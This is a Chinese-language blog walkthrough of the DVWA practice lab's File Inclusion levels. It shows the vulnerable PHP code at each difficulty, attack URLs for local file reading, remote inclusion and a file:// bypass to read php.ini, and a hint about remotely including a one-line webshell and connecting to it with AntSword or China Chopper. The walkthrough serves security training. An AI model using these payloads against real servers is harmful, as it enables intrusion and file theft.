DVWA靶场-文件包含漏洞(FileInclusion)

第四关:file inclusion(文件包含漏洞)

      File Inclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)
在这里插入图片描述

Low

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

      服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确实为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
      构造url:http://ip/filename?page=/a.txt,可见成功读取文件内容
在这里插入图片描述

      当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。
      构造url:http://ip/filename?page=http://ip//aaa/a.php,成功读取该文件中的内容
在这里插入图片描述

      如果远程包含一个一句话木马文件,则可以使用蚁剑或中国菜刀进行连接

Medium

<?php
// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

分析源码可得,代码使用 str_replace函数 对http:// 和 https:// 进行了过滤,防止了远程包含漏洞的产生,同时也过滤了 …/ 和 …\ 防止攻击者进行目录切换。
但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。
在这里插入图片描述

High

<?php
// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    
    
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>

代码中使用了fnmatch()函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
利用该特点,在Windows平台下可以使用file协议绕过防护策略。注意:fnmatch 函数适用于 PHP >= 4.3.0,因此 php 版本高于这个才能利用
以此可以构造url,进行读取服务器的配置文件http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file://D:/phpStudy/WWW/DVWA-1.9/php.ini

Impossible

<?php
// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    
    
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>

代码使用了白名单机制防御文件包含漏洞,如果不是代码中的这些文件名,则一律进行报错显示并结束程序,有效防御了文件包含漏洞

猜你喜欢

转载自blog.csdn.net/qq_43707926/article/details/122527999